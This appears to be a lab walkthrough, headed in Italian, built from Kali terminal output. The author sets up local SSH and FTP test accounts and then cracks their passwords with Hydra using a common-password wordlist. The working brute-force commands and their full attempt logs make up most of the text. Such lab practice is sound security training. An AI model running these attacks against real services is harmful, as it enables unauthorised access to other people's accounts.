

CRACKING SERVIZIO SSH

```
kali@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ sudo adduser test_user  
[sudo] password for kali:  
info: Adding user `test_user' ...  
info: Selecting UID/GID from range 1000 to 59999 ...  
info: Adding new group `test_user' (1001) ...  
info: Adding new user `test_user' (1001) with group `test_user (1001)' ...  
info: Creating home directory `/home/test_user' ...  
info: Copying files from `/etc/skel' ...  
New password:  
Retype new password:  
passwd: password updated successfully  
Changing the user information for test_user  
Enter the new value, or press ENTER for the default  
Full Name []: test user  
Room Number []:  
Work Phone []:  
Home Phone []:  
Other []:  
Is the information correct? [Y/n] y  
info: Adding new user `test_user' to supplemental / extra groups `users' ...  
info: Adding user `test_user' to group `users' ...  
(kali@kali)-[~]  
$ sudo service ssh start  
(kali@kali)-[~]  
$
```

```
kali@kali: ~  
File Actions Edit View Help  
GNU nano 8.1 /etc/ssh/sshd_config  
# This is the sshd server system-wide configuration file. See  
# sshd_config(5) for more information.  
  
# This sshd was compiled with PATH=/usr/local/bin:/usr/bin:/bin:/usr/games  
  
# The strategy used for options in the default sshd_config shipped with  
# OpenSSH is to specify options with their default value where  
# possible, but leave them commented. Uncommented options override the  
# default value.  
  
Include /etc/ssh/sshd_config.d/*.conf  
  
#Port 22  
#AddressFamily any  
#ListenAddress 0.0.0.0  
#ListenAddress ::  
  
#HostKey /etc/ssh/ssh_host_rsa_key  
#HostKey /etc/ssh/ssh_host_ecdsa_key  
#HostKey /etc/ssh/ssh_host_ed25519_key  
  
# Ciphers and keying  
#RekeyLimit default none  
  
# Logging  
#SyslogFacility AUTH  
#LogLevel INFO  
  
# Authentication:  
  
#LoginGraceTime 2m  
#PermitRootLogin prohibit-password  
#StrictModes yes  
#MaxAuthTries 6  
#MaxSessions 10  
  
#PubkeyAuthentication yes  
  
# Expect .ssh/authorized_keys2 to be disregarded by default in future.  
#AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2  
#AuthorizedPrincipalsFile none  
  
#AuthorizedKeysCommand none  
#AuthorizedKeysCommandUser nobody
```

```
test_user@kali: ~  
File Actions Edit View Help  
(kali@kali)-[~]  
$ ssh test_user@192.168.50.100  
test_user@192.168.50.100's password:  
Linux kali 6.8.11-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30) x86_64  
  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
Last login: Fri Aug 23 20:27:52 2024 from 192.168.50.100  
(Message from Kali developers)  
  
This is a minimal installation of Kali Linux, you likely  
want to install supplementary tools. Learn how:  
⇒ https://www.kali.org/docs/troubleshooting/common-minimum-setup/  
(Run: "touch ~/.hushlogin" to hide this message)  
(test_user@kali)-[~]  
$
```

```
kali@kali: ~  
File Actions Edit View Help  
test_user@kali: ~ x kali@kali: ~ x  
zsh: suspended hydra -l test_user -P /usr/share/seclists/Passwords/password_123.txt -t4 ssh  
(kali@kali)-[~]  
$ hydra -l test_user -P /usr/share/seclists/Passwords/password_123.txt 192.168.50.100 -t4 ssh -V  
  
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizatio  
ns, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).  
  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-25 17:01:25  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session foun  
d, to prevent overwriting, ./hydra.restore  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 135 login tries (l:1/p:135), ~34 tries per task  
[DATA] attacking ssh://192.168.50.100:22/  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456" - 1 of 135 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123456789" - 2 of 135 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "picture1" - 3 of 135 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "password" - 4 of 135 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345678" - 5 of 135 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "111111" - 6 of 135 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "123123" - 7 of 135 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "12345" - 8 of 135 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234567890" - 9 of 135 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "senha" - 10 of 135 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234567" - 11 of 135 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "qwerty" - 12 of 135 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "abc123" - 13 of 135 [child 0] (0/0)
```

```
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "1234qwer" - 86 of 135 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "superman" - 87 of 135 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "147258" - 88 of 135 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "9999999" - 89 of 135 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "159357" - 90 of 135 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "love123" - 91 of 135 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "tigger" - 92 of 135 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "purple" - 93 of 135 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "samantha" - 94 of 135 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "charlie" - 95 of 135 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "babygirl" - 96 of 135 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "testpass" - 97 of 135 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "7777777" - 98 of 135 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.100 - login "test_user" - pass "fuckyou" - 99 of 135 [child 1] (0/0)  
[22][ssh] host: 192.168.50.100 login: test_user password: testpass  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-25 17:05:12
```

CRACKING FTP

```
File Actions Edit View Help
test_user@kali: ~ x kali@kali: ~ x kali@kali: ~ x
(kali@kali)-[~]
$ sudo apt install vsftpd
[sudo] password for kali:
The following packages were automatically installed and are no longer required:
  libavfilter9 libplacebo338 libpostproc57 librav1e0 libroc0.3 libsvtav1enc1d1 python3-diskcache
Use 'sudo apt autoremove' to remove them.

Installing:
  vsftpd
Summary:
  Upgrading: 0, Installing: 1, Removing: 0, Not Upgrading: 2
  Download size: 142 kB
```

```
(kali@kali)-[~]
$ sudo service vsftpd start

(kali@kali)-[~]
$
```

```
kali@kali: ~
File Actions Edit View Help
(kali@kali)-[~]
$ sudo nano /etc/vsftpd.conf
[sudo] password for kali:

(kali@kali)-[~]
$ sudo adduser ftpuser
info: Adding user `ftpuser' ...
info: Selecting UID/GID from range 1000 to 59999 ...
info: Adding new group `ftpuser' (1002) ...
info: Adding new user `ftpuser' (1002) with group `ftpuser (1002)' ...
info: Creating home directory `/home/ftpuser' ...
info: Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for ftpuser
Enter the new value, or press ENTER for the default
  Full Name []:
  Room Number []:
  Work Phone []:
  Home Phone []:
  Other []:
Is the information correct? [Y/n] y
info: Adding new user `ftpuser' to supplemental / extra groups `users' ...
info: Adding user `ftpuser' to group `users' ...

(kali@kali)-[~]
$
```

```
(kali@kali)-[~]
└─$ hydra -l ftpuser -P /usr/share/seclists/Passwords/password_123.txt 192.168.50.100 -t4 ftp -V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organization
ns, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-08-26 18:57:13
[DATA] max 4 tasks per 1 server, overall 4 tasks, 137 login tries (l:1/p:137), ~35 tries per task
[DATA] attacking ftp://192.168.50.100:21/
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "123456" - 1 of 137 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "123456789" - 2 of 137 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "picture1" - 3 of 137 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "password" - 4 of 137 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "12345678" - 5 of 137 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "111111" - 6 of 137 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "123123" - 7 of 137 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "12345" - 8 of 137 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "1234567890" - 9 of 137 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "senha" - 10 of 137 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "1234567" - 11 of 137 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "qwerty" - 12 of 137 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "abc123" - 13 of 137 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "Million2" - 14 of 137 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "000000" - 15 of 137 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "1234" - 16 of 137 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "iloveyou" - 17 of 137 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "aaron431" - 18 of 137 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "password1" - 19 of 137 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "qqww1122" - 20 of 137 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "123" - 21 of 137 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "omgpop" - 22 of 137 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "123321" - 23 of 137 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "654321" - 24 of 137 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "qwertyuiop" - 25 of 137 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "qwer123456" - 26 of 137 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "123456a" - 27 of 137 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "a123456" - 28 of 137 [child 1] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "ftppass" - 29 of 137 [child 0] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "666666" - 30 of 137 [child 3] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "asdfghjkl" - 31 of 137 [child 2] (0/0)
[ATTEMPT] target 192.168.50.100 - login "ftpuser" - pass "ashley" - 32 of 137 [child 1] (0/0)
[21][ftp] host: 192.168.50.100 login: ftpuser password: ftppass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-08-26 18:57:38
(kali@kali)-[~]
```

